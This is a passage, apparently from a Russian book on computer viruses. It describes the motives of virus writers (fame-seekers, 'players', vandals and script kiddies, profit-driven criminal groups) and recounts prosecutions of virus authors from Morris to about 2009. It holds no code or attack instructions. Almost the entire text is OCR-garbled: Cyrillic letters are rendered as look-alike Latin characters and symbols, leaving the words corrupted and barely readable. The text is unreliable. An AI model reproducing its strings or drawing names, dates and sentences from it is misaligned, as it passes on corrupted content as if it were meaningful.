JIETBOpEHNE YyIIOMHWHaHNE CO6CTB€HHOFO MMEHU WJIN IIPpO3BUIlla B CBA3N
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C PacIpoCTpaHeHNueM UM aKTUBAIIMEN TOTO UJIM UHOTO TBOpeHus. OHu He
TOJIBKO BBIITYCKAIOT CBOM TBOPEHUS B CBET, HO U, KaK IPABUJIO, BCTABJISIOT
B CBOM BUPYCBHI TEKCTOBbIE «KONUpaiTel». Hanpumep, kiraccuyeckuii Bu-
pyc Eddie.1800 usBeras, yro

This program was written in the city of Sofia
(C) 1988-89 Dark Avenger.

3abaBHO, HO OBIBAJIM CJYYAH, KOT/IA B JIyYaxX 4yKOH «CIaBbl» HEPOUb
GBI TTIOTPETHCST JIIOJIN, MMEIOTITE K BUPYCOMUCATETBCTBY BeChMa OT/Ia-
sennoe otHomenne. Hampumep, B cepennne 1990-x rozoB B axo-koHbe-
pertnu relcom.comp.virus ofiuH MOJOAOH YETOBEK «CKPOMHO MPU3HA-
BaJcs» B aBTOpCcTBe Bupyca «Haracs» (XOTsT HA caMoM fiejie ceMelicTBO
BBICOKOCJIOKHBIX U TITUPOKO PACTIPOCTPAHEHHBIX MOJUMOPGHBIX BUPYCOB
Natas cosgano amepukanckuM mIkoabHUKOM J[[xefimcom [IxkenTtuire).
A B OIHOM 13 TIOMYJISIPHBIX MOCKOBCKUX YaTOB JIPYTOil IOHOIIIA XBACTAJ-
CsT 3HAKOMCTBOM co ctyzieHToM MI'Y — aBTopom Bupyca «Banxand» (Ha
camoM ziejie 3HameHuThIil Bupyc OneHalf.3554 nanucan B CroBaku,
a OCTAJTbHBIE MTPEJICTABUTEI HTOTO CEMENCTRA SIBJISTIOTCS JTUTITH HOJIEE VITH
MeHee YAAYHBIMI MOANDIKAIIAMI OPUTHHAJA, BBITIOJTHEHHBIMU JIPYTH-
MU JTIO/IBMH ).

OTMeTHM, 9TO B BUPYCaX, HATTMCAHHBIX Y€CTOTIOOIAMI, HEPEIKH «IITyT-
KW» — TPOSTHCKUE (DParMeHThI, IPU3BaHHbIE TIPUBJIEYb B ONPEIETeHHBIN
MOMEHT BHUMaHHUe T0Th30BaTess. MOKHO BBIIEIUTH CJIEAYIONINe TPYTI-
TIBI TITY TOK:

O wucnosHSIONIE PA3TUYHBIE MEJIOINH, KaK, HATPUMeD, 3HAMEHUTHIN

«MmysbikanbHblii> Doodle-2C.2885;
O BIBOZSIIME HA 9KpaH 3abaBHbIe (M HE 0YeHb) N300paKEH s, KaK,
HarpuMmep, «GeryIuii aBToMoOnIbuYnK> Bupyca Ambulance.796;

N

b

0

Puc. 1.2 < lNposeneHne Bupyca
Ambulance.796

O orobpaxkarolie pazHOOOpPasHble TEKCTHI, MPU3BAHHBIC HAMYTATh,
03a/Ia4UTh MJIK T10320ABUTH TT0JIb30BATES, KaK, HATIPUMED, M3BECT-
uorit Bupyc Condom.1581:
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...Ylcnonb3oBaHHbIE Npe3epBaTyBbI
lnbiByT HECcneLwHo no MockBe-peke.
B Bosie vx 10BST KOOrneparuBbl

W cywar 3a yrnom Hesaaseke...

WT. 10,
Q wumuTHpyIOmME arnmapatiHbie c60u B paboTe KOMIbIOTEPa, Kak,
HarpyMep, CTapUHHBIN <«U3panibcKuil» Bupyc Jerusalem.1808,
KOTOPbIII 3aMeuisyi paboTy KOMIIbIoTepa, Mau GoJiee IMO3IAHUN
Kaczor.4444, wspenka mogepruBaloniii 9KpaH ¢ Ieibio u300pa-

3UTH HEUCTIPABHOCT JUCILIIES UITH BUIEOKAPTBI;

Q HakoHel, OTKPOBEHHO JECTPYKTUBHBIE — GJIOKUPYIOHe paboTy
KOMIIBIOTEpa W YHUUTOKAIONINE MPOrPpaMMbl M JIaHHbIe, Kak, Ha-
npumep, nevaabHo 3HamennTbiii Win3d2.CIH.

Brpouewm, mocsreiumit crydail yike mepectymnaeT paMKi 0ObIKHOBEHHO-

0 030PCTBA U SIBJISIETCST SIPKUM TIPOSIBIICHUEM HE 4eCTOJII0OMS, HO BOCTIA-
JIEHHOTO CaMOJTIOOUSI.

YecTomo0ITy BajkKHO MHEHHE OKPYJKatoIINX 0 cBoell padore. [ToaTomy
OH TaK KMYUTCA (PaKTOM HATMYUS CCBLIKM HA CBOM BUPYC B PETYJSPHO
OGHOBJISIEMBIX «BUPJINCTAX» — BUPYCOJOTHYECKUX OIOJIETEHSIX W Ka-
tasorax, narnpumep B VIRLISTWEB U. JlanuioBa, BbITyCKaBIIEMCS
BO BTOpoil nosioBune 1990-x rozos, unu B «BupycHol sHITUKIOIETTN»
E. Kacniepckoro, noctytmHoii B MInTepHeTe B HacTosIee BpeMst. [Ipu atom
JKeJaTeIbHO, YTOOBI BUPYC ObLI HE TIPOCTO YIIOMSIHYT B PsALy GE3TUKUX
OMTHOTUITHBIX TBOPEHUI, HO OTTMYAJICS KAKON-TO «M3IOMUHKOW». /{7151 9TO-
ro 6oJiee CrOCOOHBIE BUPYCOIMCATEN UCIIOIB3YIOT B CBOUX TBOPEHUSIX
HETPUBHMATbHBIE AJITOPUTMBI, MEHEE CTOCOGHBIE — TIATCS YAUBUTD U TO-
pasuTh OOUJIKEM IITYTOK UJIH KECTOKOCTHIO ecTpyKiuit. KeraTu, y MHO-
T'UX BCe-TaKM XBaTaeT yMa He paclpoCTPaHsATh 3apasy 110 OKpyTe, a cpasy
MOCJIaTh ee BUPYCOJIOTY, CHAGAUB (DabIIMBOI UCTOPUEH O «TOTATbHON
AMUJEMUN U KYTKUX PaspylieHngx». B KoHIle KOHIIOB, IIPUCYTCTBUE
B BUPJIMCTE TAPAHTUPOBAHO U B ATOM CJIydae TOXKe.

IOHOMY YecToM00ITY TOCTABJISIET YAOBOJIBCTBIE UTPATDH B KPYTY APy3eil
POJTb «IEMOHUYECKON JIMYHOCTHY U 06JIaIaTesst HEKOETO «TEeMHOTO 3Ha-
HUst> . [IPUSTHO Cpein TOBAPUIIEH-CTYIEHTOB B ouepeau epe 6yheTHOI
CTOHKON HeGPexKHO 0OPOHUTE: «UepT BO3bMH, YTO-TO HUKAK HE OTJIAKY
HOBYIO BEPCHIO CBOETO BUPYyCas... [0OBOPAT, aTa clieHa JIeiiCTBUTEIHLHO NMe-
JIa MECTO B OJHOM U3 By30B TO 1 HoBocubupcka, To 11 ExatepunOypra
U 3aKOHYMJIACK... (DU3NYECKUM Bo3JelicTBUEM Ha (DU3MOHOMUIO BUPYCO-
nucaTesis CO CTOPOHBI MHAMBUAYYMA, MOCTPANABIIETO OT MPEAbIIyTIei
BEPCHUM YIIOMSIHYTOTO BUPYCa.
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BepostHo Takke, 4TO IMUPOKas PACIPOCTPAHEHHOCTb BCIYECKOTO
poza LIYTOK B KOMIIBIOTEPHBIX BUPYCax OOBSCHAETCS CBOEIO POfA Tpa-
JIIIMEl, BOCXO/IAINEN K PAHHUM ONbITaM B c(pepe BUPYCOIHMCATENbCTBA.
ITpencraBbre cebe TUIOTETHYECKOTO aBTOpa Bupyca Vienna.648, ko-
TOPBIN 3aITyCTUJI CBOE TBOPEHUE B «/IUKYIO MPUPOJLY> U C HETepIeHneM
ket pesyabratoB. [IpoxongaT nuu, Hepenn, mecAilpl... Hukakoil peakiumu.
Bce npaBusibHO — OrpoMHO€E KOJIMYECTBO KOMIIBIOTEDOB B MUPE y’Ke 3a-
PasKeHO STUM BUPYCOM, HO II0JIb30BATENIN BOOOIEe HUYETO elle He 3HAIOT
0 KOMIIBIOTEPHOIT 3apa3e, a caM 3TOT BUPYC HACTOJbKO aKKypaTHO Hallu-
CaH, YTO He KOH(MIMKTYET ¢ APYTUMH ITPOrPAMMAMU U ITO9TOMY TIPaKTUYe-
cku HezamereH. JIagHo, pelIaeT aBTop, MbL ¢eJIaeM TaK, YTOObI Ha BUPYC
obpaTuiii BHUMaHWe — JIOIUIIEM JeCTPYKTUBHBIN (hparMeHT, KOTOPBIN
B HAYAJIO HEKOTOPBIX IIPOIPAMM BCTaBJISIET KOMAH/IbI TIePe3arpy3Ku KOM-
nbiotepa. M — cnenan!

MnTepecHo, Kak MOBEPHYJIACh Obl UCTOPUS, eCI Obl aBTOPBI IEPBBIX
BHMPYCOB jieJiajin Obl YIIOp He Ha MaKOCTH € YY;KUMKU KOMIIbIOTEPAMH, a Ha
HE3aMEeTHOCTh U HEYJIOBUMOCTh CBOUX TBOPEHUI ?

1.6.3. «Urpoku»

IIpencrasuTeneil 9Toii rpyiibl OObEAMHIAET a3apT IPOTUBOAECICTBUS aB-
TOpaM aHTUBUPYCHBIX Iporpamm. Haji cozmannemM aHTUBUPYCOB 00BIYHO
TPYAUTCS He OJMH YeJIOBEK, U CO3AAI0TCS, OTIAKUBAIOTCS U COBEPIIEH-
CTBYIOTCSI OHU B TeUeHHe MHOTUX JieT. Kak pesysibrar aHTuBUpyChl — Oy/ib
to AVP E. Kacriepckoro win DrWeb U. JlanuioBa — mpeacTaBisiioT co-
60it OUeHb CIIOKHbBIE IPOTPAMMHbIE KOMILIEKCHI, OCHOBAHHbBIE HA HETPUBU-
AJIbHBIX aJITOPUTMaX. Yrto MoKeT 6bITb yBJIeKaTeJIbHefI, 4eM IIPOTUBOIIO-
CTaBUTb CBOU MHTEJLJIEKT WHTEJIJIEKTY TPYIIIIbI BUPYCOJIOTOB — HaIllMCaTb
HEUTO HEBU/IMMOE JIJIsI aHTHBHPYCA, U30Eraoliee PacCTaBJIeHHBIX UM JIO-
BYIIEK W KAIKAHOB, 10 Me€Pe HEOOXOIMMOCTH PACCHITAIOIIEECS] HA YaCTH
U BOCCO3/IAIONIEECs] BHOBD, He IOIAIONIeeCs aHaIn3y u Henusiedumoe? !
Kak usBecTHO, urpa — 310 nary6Hast crpactb. OJIHU MPOBOAST Beyepa B
Ka3WHO, IpyTHe — MUIIYT BUPYCHI. [I[poTUBOAETiCTBIE TTOAYAC ITTUTCS TO-
namu. Bee Gosiee u Goiiee CIIOKHBIE W U30IPEHHDIE «3JIEKTPOHHBIE MUK-
POOPraHU3MbI» BBHIMAPXUBAIOT U3 PYK BUPYyCOTHUcATENEH, TyOIMKYIOTCS
B 9JIEKTPOHHBIX KYyPHAJIAX WM HAIPSIMYIO ITOCBLIAIOTCS BUPYCOJIOTAM:
a BOT IOIpoOyiiTe-Ka pasrazarh Moii HoBbIil pedyc! TIpumepno 1o 2005 r.
UMEHHO 9TO MPOTUBOOOPCTBO, UAEOJOTHYECKH BOCXOIsIIee K ahopusmMy
I K. YecrepToHa: «IIpecTymHUK — TBOPEI, ChINUK — KPUTUK»>, — Pa3BU-
BAJIO U [IBUTAJIO BIIEPEl KAK BUPYCHBIE TEXHOJIOTUHU, TAK U AHTUBUPYCHYIO
HayKYy.
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1.6.4. «XynuraHbl u BaHganbl»

B a1y 60JibIIyI0 TPYIITy MOKHO cOOpaTh MHAUBUIAYYMOB C PELYIIUPO-
BaHHBIMU TIPEJICTABICHUSIMU 0 MOPaJIi. VX 00BIYHO HHTEPECYIOT BOIIPO-
CBI UCIIOJIb30BAHUST BUPYCOB B KAYECTBE CBOETO POJIa «KOMIIBIOTEPHOTO
OPYXUST» WM «BOPOBCKOTO MHCTPYMEHTa». TBOpUecKme MOTYTH MpPEe-
CTaBUTEJIEN 9TOU TPYIIIIHI HAIIPABJIEHBI HA PellleHre KOHKPETHDIX 3a1a4 —
HAMPUMED, HACOJIUTH «HETIOONMOMY» HAYAIbHUKY WJIN HAITyTaTh <HEyBa-
JKAeMYI0» OPTaHHU3AIIHIO.

Hepenko atu Joan gaxe He SIBJSIIOTCS CKOJBKO-HUOY/b CUJILHBIMU
MPOTPAMMUCTAMHE, a HCIOJB3YIOT CJIeTKa MOAUMDUIIMPOBAHHBIE UYKIe
BUPYChl WM Jaxe TporpaMmMmbl-renepatopsl tuna VCL, NRLG, PS-
MPC, Kyas u zip. /11 aBTOMATHYECKOTO CO3IaHnst COOCTBEHHBIX «O0OMO»
(cm., HarrpuMep, puc. 1.3). AMepUKaHIIbI Ha3bIBAIOT MOJOOHBIX JesTeeit
«script kiddies».

& lNenepartop Bupycoe !E[ E

HaAn Mook

1 IE I * AononHMTENEHD ﬁ Y¥EEAOMAEHHE I T Ceofikoa
@ Cotwerne @ NMprcons | BE Cranaapthee | % 3noie wyrin

[0 JanpetuTte ancneTqep zaaad O ©tepeime CO-ROM

[ JanpeTtuTe peaakTop peecTpa O Crpeme paboumid ctan

O NosmctrTe My CK [ Knacchueckki npoBaaHme
[ ZanpeTnTe oTkpRITHE exe [ CrpeITe cTpenkK v ApnEikos
O AnckoTera

[ MuHMMHzMpoEaTE BCe okHa

[ 0BMeHATE HazHAYEHME KHONOK MbIWH 6

[ 3actaewTe Tpewate dnonnme
[ BrizbiBaTte NHCK CHCTEMHOMD AMHAMHIE
[ Hoeoe HazsaHHe AnA KopsHHE Namepa
[ MzmeHHTE pErMCTPALHMOHHEIE AAHHEE
A naMepa QR aHMEELLMA

|l'|amep | II'IcanJKa |

Puc. 1.3 « leHepaTop NPUMUTUBHBIX BUPYCOB «Ky3s1»

1.6.5. «KopbicTOonoOLbI»

B mepsoie rogsr XXI Beka B CBsI3M ¢ CyTIECTBEHHBIM YCIO0KHEHUEM WH-
(bopMaIMOHHBIX TEXHOJIOTUH, UCMOJb3YEMBIX MTPU CO3JIAHWH MTPOTPaMM-
HOTo oGecrieueHust (B TOM YHCJIE U KOMITBIOTEPHBIX BUPYCOB), BUPYCOTIN-
caTesfo-OJIMHOYKE CTAHOBMJIOCHh BCE TPYIHEN W TPYAHEH CIPaBUTHCS CO



IKTO 11 334em NLLET BUPYChl % 41

cBoeli 3a71aueil. Bee yaiile u yare BUPYChI OKa3bIBAJIUCH TIJI0/IOM KOJLIEK-
THUBHOI'O TBOPYECTBA, BCE OXOTHEH 1 OXOTHEN BUPyconucaTesn 00beaHs-
JIUCH B TPYIIIIbI JIJIsT PeaIn3alii CBOMX HE CAMbIX MTPOCTHIX «ITPOEKTOBY.
B Tunuunoii rpyiire mpuCyTCTBOBAJIO «pas/ieieHre TPy/la»: OHU 3aHU-
MaJIMCh UCCJIe0BaHUEM HOBBIX CIHOCOOOB IPOHMKHOBEHHS B CHCTEMY,
JIPyTHe Mucaju He3aBuCuMble (hparMeHThl BUPYCHOM ITPOTPaMMbI, TPETHU
KOMILJIEKTOBAIM M3 9TUX (PPArMeHTOB OOIIUI «IIPOAYKT»>, a YeTBEPThIE
PaCIPOCTPAHIIN «3apasdy» 1 3aMeTajn caeasl. Hepeako mogobHoe cood-
IECTBO IIPUOOPETANIO XapAKTEPHbIE IPU3HAKY KPUMIHAIBHON OpraHm3a-
nuu. B iesgtelbHOCTH TAKUX TPYTIITUPOBOK CTAJU MTPOSIBJISTHCS YEPThI, Xa-
PaKTepHbIE I CAMbIX HACTOAIINX «IIAeK» 1 «OaHi»: 1eMOHCTPATUBHbIE
«aKIUU ycTpanienust> (HarpuMmep, UHUITUUPOBAHNE MACCOBBIX MU/IEMUA
BUPYCOB, CAMOYHUYTOKAIOIIUXCS TIOCTIE 3apaHee OIpe/e/IeHHOM JaThl),
B3aMMOIIPOHUKHOBEHUE B JIpyrue chepbl MOJTYKPUMUHAIBHOTO U KPUMU-
HanbHOro OusHeca (HeOe3BO3ME3/HOE, «IIAPTHEPCKOE» IIPENOCTaBIeHIe
CBOUX YCJIYT PACIPOCTPAHUTEJISIM CIIaMa U TTPOMBIIIIJIEHHBIM IITITHOHAM ),
«pazboOpKI» ¢ BPaKAYIOUMMHU OpraHusanusaMu (pacipocTpanenne «6oe-
BBIX» BUPYCOB, YHUUTOXKAIONINX AHAJOTHUYHbIE TPOTPAMMBI UY3KOTO «ITPO-
M3BOJCTBa» ) U T. Il. ITO 00CTOSATENBCTBO € KasKIbIM FOZ0OM OKa3bIBAJIO BCE
GoJsiee CUIbHOE BAMSAHME Ha BUPYCHYIO CUTyaluio B Mupe. [ Hakower,
k 2005-2006 rogaM OQMHOYKU — «CaMOYTBEP/KAAIONIIECT >, <IECTOII00-
IIbl», <UTPOKN» U JIAJKe «BAHAJIbl» — BBIMEPJIU, CJIOBHO MaMOHTHI. Bor
ysKe MHOTO JIeT OCHOBHYIO MacCy BPE€JIOHOCHBIX TTporpamMMm (hOpMHUPYIOT
coobuecTBa 1POhHECCHOHANBHO IOATOTOBJEHHBIX «KOPBICTOJIO0IEB .
[TyTramu 60JIbIle HUKTO HE 3aHIMMAaEeTCs, KasK/1ast BpeJOHOCHAs IIPOrpaM-
Ma BBITIOJIHAET KaKyIO-TO MPAKTUYEeCKU BAKHYIO (JIJIs1 3JI0YMBIILJIEHHN-
KOB) 3a/Iauy: PACChLJIAET CIIaM, TIOXUIaeT KOH(MUIEeHIMAIbHbIE JJAHHbIE U
PEKBU3UTHI, OTKJIIOUAET 3AITUTHBIE CUCTEMbI KOMITBIOTEPA, OCYIIIECTBIISIET
TOoueuyHble uBepcuu u T. 1. [Ipon3BoCcTBO, pacipocTpanenie u UCIOJIb-
30BaHUE BPEJIOHOCHBIX ITPOTPAMM TIOCTABJIEHO HA IPOMBIIIJIEHHYIO OCHO-
BY, OHO IIPEJCTaBJIsIeT COOO0I MHYCTPUIO, IPUHOCSIIYIO y4aCTHUKAM KPH-
MUHAJIBHOTO KOMIIBIOTEPHOIO OU3Heca COTHY MUJIJIMOHOB M MUJIIAP/bI
JIOJLJIAPOB.

Ha MoMeHT Hanmcanust 3THX CTPOK B 0011eii Macce BPeJOHOCHBIX IIPO-
rpaMM CaMOPa3MHOKAIOIIUXCSI BUPYCOB U YePBEl MPUCYTCTBYET MeHee
rnporenTa. Bugmmo, OHU «9KOHOMUYECKU» MEHEe BbITO/IHbI, YeM He CIIO-
coOHbIe K Pa3MHOKEHHIO TPOSIHCKKE PporpaMmbl. OHAKO €CJIM Bbl CYM-
Taere, 4YTO «OIMH IIPOLEHT — HTO MAJIO», TO IIIyOOKO 3a0IyKaaeTech. ITo
JIECSITKU HOBBIX BUPYCOB U YEPBE B 0O/, 9TO MUJIJTUOHBI 3aBUPYCOBAHHBIX
uisiex v TeppabailThl arpecCUBHOrO CETEBOTO TpaduKa.
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1.6.6. «®Pemupa» B 60pbbe ¢ KOMMbIOTEPHLIMU
BUpyCcaMm

[IepBoii MONBITKON OCYANTH 3JI0YMBIIIJIEHHUKA 32 pAaCIIPOCTpaHeHne BU-
pycoB ObLI0 «1e10 Moppucas. B nayane HostOps 1988 r. ero snamenu-
TBII YePBb «IIOCETII» H0JIbII0E KOIMYecTBO (0K0J10 6200) KOMIIBIOTEPOB,
MOKJIIOUeHHBIX K r06aibHoi cetrt ARPANET — mpoToTuily HbIHEIHe-
ro urepuera. Yepsb He NpeApUHUMAT HUKAKUX IeCTPYKTUBHBIX JIeii-
cTBUi, HO Grarogapst omnbke Mopprca CKOPOCTb €r0 Pa3sMHOKEHUST OKa-
3aJ1ach BBINIE 3aIIAHUPOBAHHOU. [loaTOMY B pe3yJibraTe pasMHOKCHUS
BUpYyca ceTeBol TpahrK U HATPy3Ka HA ITPOIIECCOPHI JIOKATBHBIX KOMITBIO-
TEPOB CYIIECTBEHHO BO3POCJU U B PSIJIC CIyYaeB MPUBEIN K HEBO3MOXKHO-
ctu HopMasbHO#T pabotet'. Cyx ipuroBopus Pobepra ITarrona Moppuca
K TPEM MeCAIaM TIOPbMBI U KPYITHOMY JICHE;KHOMY TTpady.

B nepsoii mostosune 1900-X To10B 1otasiu B TI0Jie 3pEeHUS TPABOOXPAHU-
TEJILHBIX OPTAaHOB, HO CyMeJTN H30€eKaTh KPYITHBIX HEMPUSITHOCTEN aBCTpa-
miickuii crypent Knunron Teitni; (aBrop Bupycos Dudley u NoFrills)
U aMepuUKaHCKUU mIKoJbHUK /[[xkeitmc /[skenTuse (cosmaTesnb BUPYCOB
SatanBug 1 Natas). Uytb menbiiie moBesso anrandanuny Credeny Karm-
cy, mepy BUpycomnucareabekoil rpynnuposkn «ARCV — Association of
Really Cruel Viruses», — on 66wt apecroBan B 1993 1., HeKoTOpOE BpeMst
HAXO/IUJICS TIOJT CJIEAICTBUEM, HO B UTOTE HAKA3AHISI BCE JKe M30EKAL.

[MTupoxnii pesoHaHC MOJYYUTIO Takxke <«aeso YepHoro bBaponar.
B 1995 r. B Aursiuu ObLT apecToBaH 26-JI€THUI XaKep U BUPYCOIUCATENb
Kpuc Maiin no npossuity Black Baron. EMy WHKPUMUHUPOBAIKUCH KaK
CO3/1aHue BBICOKOCIOKHON mosimMopdHoii Texnosorun SMEG u Bupy-
COB Ha €€ OCHOBE, TaK U Pl HECAHKITMOHUPOBAHHBIX TPOHUKHOBEHWI
B Uy’KUe€ BBIYUCJUTEIbHbIE CHCTEMBL. B X0/1e cye6HOr0 pasbupareibeTa
BBISICHUJIOCH, Y4TO caM (haKT HAIMCAHMS KpaliHe CJIOKHBIX JJIsT OGHAPY-
JKEHUS W U3JIEYCHUS CAMOPA3MHOKAIONIMXCS TIPOTPAMM TIPECTYIITICHUEM
He SIBJISIETCST, XOTSI UMEHHO 3TO 00CTOSTENCTBO GoJiee BCETO pasjpaxka-
JI0 IpohecCUOHATBHBIX BUPYCOJIOTOB — 9KCIEePTOB 110 fery [laiina. 3aTo
[Taiiya ocyauiu 3a yMbIiieHHO BetaBieHHble B Bupyc SMEG.Pathogen
JIECTPYKTUBHBIE (PPArMEHTHI M 32 KOMIBIOTEPHBIC «B3JIOMBI». «YepHbIi
Bapon» nosyunn 18 Mecs1ieB TIOPbMBI.

[Tocnenuue roapr XX Beka 03HAMEHOBAJIUCH PSIIOM BUPYCHBIX MaH/Ie-
MUif, CTABIIUX BO3MOKHBIME OJIAr0apsi MOBCEMECTHOMY PACIIPOCTPaHe-

! Hoz:[p06Hee 00 aToM WHIU/JIEHTE MOKHO IPOYUTATD B I'/IaBE, HOCBHHIGHHOfI cere-

BBIM YEPBSM U BUPYCaM.
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Hu1o T100anbHoil cetu Murepuer. B anpese 1999 r. Mmup 6bL1 mocienosa-
TEJHHO MOTPSICEH CHAYaJIa aTakoil BHENTHe 6e3001IHOTO CETEBOTO YepBs
Melissa, 3amosiHUBIIIErO CBOMMHU GECKOHTPOIBLHO PACTIPOCTPAHSTIOTUMU-
cs KONMAMHU Jaske KPYIHbIE KaHAJIbl KOMIIBIOTEPHBIX KOMMYHUKAIIWIA,
a 3aTeM — KaTacTPO(OUUeCKOil aKTUBAIUEN JECTPYKTUBHON MPOIIELYPhI
supyca Win9X.CIH. TTosunuu pasHbix cTpaH cpaboTajiu OlepaTuBHO U
B KOPOTKME CPOKU OOHAPYIKUJIN 3JI0YMbIIUIEHHUKOB — J[aBuma CMuTa 13
Hpio-/Iskepen u taiiBanbekoro crygerra Yen Mur Xay. IIpokypop Tpe6o-
Bau1 77ist Cmuta 15 Jiet, Ho B mutore ¢y orpannduics 20 MecsiiiaMu 3aKJIio-
yenus B depepaiboii Tioppme CIITA. A Yen Mur Xay nosesJio enie 60J1b-
1Ie — ero CyUJIN 110 TABAaHbCKUM 3aKOHAM U B pe3yJbTaTe JAJIUTeTHbHOTO
pazbupaTesbCTBa IMOCYNUTAIIN A/IEKBATHBIM HAKA3AHUEM CPOK 3aKJTIOUEHUS
O/] CTPaKy Ha dTalle CIEACTBUS; HA OJIb3Y MY ChITPAJIO TO 00CTOATEb-
CTBO, 4TO Kak pa3 Ha TaliBate BUPYC He POU3BEJ MACIITAOHBIX TTOBPEK-
JIEHU.

B noBoMm Beke nHbOpMaIKA 0 HOBBIX MHIIUAECHTAX TTOTEKJA ITHPOKUM
MIOTOKOM CO BCEX KOHIIOB CBeTa. B OOJIBIINHCTBE CJYYaeB pedb I11a O M04-
TOBBIX M CETEBBLIX UEPBAX — IIPOTPAMMAX, KOTOPbBIE C yKacaiolleil CKopo-
CTBIO paclpoCcTpaHsaauch 1o Vnrepuery, 3apaskad B Te4eHNne HECKOJIbKUX
CYTOK JIECSATKHM 1 COTHH TBICSAY MAIUH.

Ocenpio 2000 roza 6611 apectoBat (HO B UTOTE CyMeJt M30eKaTh HaKa-
sanus) Gusmnnuner; Onesnp e [yaman, 0OOBUHEHHDII B CO3/laHUU BUPYCa
VBS.LoveLetter.

B despase 2001 roga cam rmpuiires B oauiuio u nosayansa 150 qacos
MCIPaBUTENbHBIX PAOOT TOJIAHICKIIT IKOIbHUK S1H se But (M3BecTHBbII
kak OnTheFly), BUHOBHBII B cO3aH1K 1 PACIIPOCTPAHEHIH YePBst « AHHA
Kypuuxosa» (ou xe VBS.Lee). [IexkaOpb TOro e roga CTaja «CyIHbIM
JIHEM» B Cy/b0e YeThIPeX M3PAUIbCKUX MIKOJIBHUKOB — aBTOPOB BUPYCa
Net-Worm.Goner.

B 2003 r. 3a coznanue u pacrnpocrpanenve B Mnrepuere uepseii Net-
Worm.Gokar, Net-Worm.Redesi 1 Net-Worm.Admirer yromawn 3a
pelreTKy cpokoM Ha 2 roma Opuramern Caiimon Basuiop, a uyTh 1mosxe
npexcraiy 1epen cyaom asrop Bupyca Net-Worm.Win32.Lovesan.b
amepukanert Ixedpu JIu ITapcon (on B urore «3apaboran» 18 mecsies
TIOPbMBI ILJTIOC 225 4acoB 00LIECTBEHHBIX PAOOT) ¥ aBTOP MOANDUKALIIN
Net-Worm.Win32.Lovesan.f pymbin Jan Jymurpy Yobamy (oH Mor 110-
Jy4uTh OT 3 710 15 J1eT, HO OTAe AICs JETKUM UCIyroM). B Tom ke romy
B PYKH IIBEJICKOTO IIPaBOCYMs Tiomas asTop Bupyca Net-Worm.Ganda.

«¥Yposxaitnbimy Bbitasics u 2004 roj. 3ajepskana, mpoBeJia HoYb B 110JIH-
uuu 1 ormyiiena 19-ernss 6enbruiika Gigabyte, HarcaBiiast HeCKOJIb-
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KO MaJIOpacIpOCTPaHEHHbIX U HEOMACHBIX BUPYcOB (Harpumep, Win32.
Sharpei). B Tepmanuu npeacTalt mepei CyaoM u nosryuus 21 mecsi Tiopb-
MbI ycsioBHO CBeH fA1man — aBTOp HEKOTOPBIX Pa3HOBUIHOCTEN BUPYCOB
Net-Worm.Sasser u Net-Worm.Netsky. Yerickast omiust J0mpocuia
¢ npucrtpactuem crynenta Mapeka [IIrpuxasky (on xe Benny/29A) o
ooy aBropctsa yepsst Net-Worm.Slammer, B uem oH B uTore u co-
3HaJICS, TIpaB/a, 0e3 HENPUSATHBIX MOCJAEACTBUN JJist cebs1, TIOCKOIbKY 3a
PaCIPOCTPAHEHIE «3aPa3bly» [0 MUPY OTBETCTBEHHBI OBLIIN COBCEM JIPYTHE
mozu. B Berrpun 3a uepsst Net-Worm.Magold.a 6b11 ocyskien k 2 ronam
yesioro 1 mtpady B $2400 rekro «Jlacso K». B oM ke roay MkeBckuit
CyJ TIPUTOBOPIJI K ABYM rogam yciaosHo u 3000 py6. mrpada Esrems
C. (on xxe Whale) 3a cozganue u o6HapogoBaHue UCXOAHBIX TEKCTOB He-
CKOJIBKUX «KOHIIETITYaJIbHBIX» BUPYCOB.

B 2005 r. apectoBanbl Typok Atnia Ikuun 1 Mappokaner @apu Jc-
cebap — aBropsl uepseii Net-Worm.Zotob 1 Net-Worm.Mytob.

Maii 2006 r.: B Boponeske 3a 110/1/1ep:KKy MHTepHET-caliTa, cojepsKaliie-
T'O HECKOJIBKO ThICSY UysKuX BupycoB (Bkmodas 1 Win9X.CIH), momryann
2 ropa ycnosHo Cepreii K. (4To 12710 TOBOJI psijly HAUBHBIX U IOBEPUUBBIX
oreyectBeHHbIX CMI poBO3TIacHTh IOMMKY aBTOpa «YepHOOBLIBCKO-
TO» BUPYCA).

3umoii 2007 1. B Kurtae apectoBan u ynpsTaH 3a pelieTky CpOKOM Ha
4 rona vekro Cio Kunb — aBTOp «11aH10BOTO» BUpYyca. JleToM TOTO ke roja
MCITAHCKAS! TTOJIUIMS BBICJIEIIA U apeCTOBaJIa Yel0BEeKa, 0OOBUHSIEMOTO
B CO3JIAHUM W PACIIPOCTPAHEHWM HECKOJbKUX BAPUAHTOB «TeJIe(hOHHBIX
Bupycos» Cabir u Commwarrior.

B nauvane 2009-ro B Kasmuunrpase moasepriu cyay u omrrpadoBaiu
Ha 3000 py0. HezagauwIMBOTO BUpyconucaresiss IMuTpust Y., yMyApUBIIe-
TOCs 3apa3uTh CBOUM BUPYCOM 0K0JI10 200 KOMITBIOTEPOB HA IPYTOM KOHIIE
cTpanbl — B buoarosenencke!.

VBbI, B ceTrt GOPIOB ¢ KUOEPKPUMUHAIOM B OCHOBHOM IOIAJAIOT-
sl JIMIIb BUPYCOIUCATEU-OMHOYKH, YIIepOd OT ACHCTBUI KOTOPHIX HE
caumkoM Besink. Xorst B 2009—-2011 rogax ObLIK POBEAEHBI HECKOJIBKO
MACCOBBIX TOJMIIENCKUX AKIUI ¢ YIaCTHEM CUJIOBBIX CTPYKTYP Pas3HbIX
CTpaH, B Pe3yJIbTaTe KOTOPBIX aPECTOBAHBI HECKOJIBKO JIECSTKOB YEJIOBEK,
JIMKBUANPOBAHBI UJIM B3SIThHI 1TOJ] KOHTPOJIb HECKOJIBKO «OOTHETOB», 9TH-
MU JIEHCTBUSIMU 3aTPOHYTA JIUIIh caMasi BEPXYIIKa alicbepra OpraHuso-
BaHHOW KUOEPIIPECTYITHOCTH.

! JKypHanuersl GbICTPEHBKO PA3ILYJIN 9TO YUCIIO JI0 <HECKOJIBKHUX COTEH», IOTOM

J1O «TIOYTHU THICAYN» U, HAKOHEIL, /10 «HECKOJIbKUX TBICAY», IPUYEM Jla’Ke HE «3a-
PAKEHHDBIX», a «YHUYTOKEHHDbIX>.
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Pasnble cTpaHbl, pasHbie JIOJHU, Pa3HbIE TOCIEACTBUS PACIIPOCTPAHE-
HUS BUPYCOB, pasHbie Mepbl HakasaHus. He cauuikom Jjiu gubepaibHbl
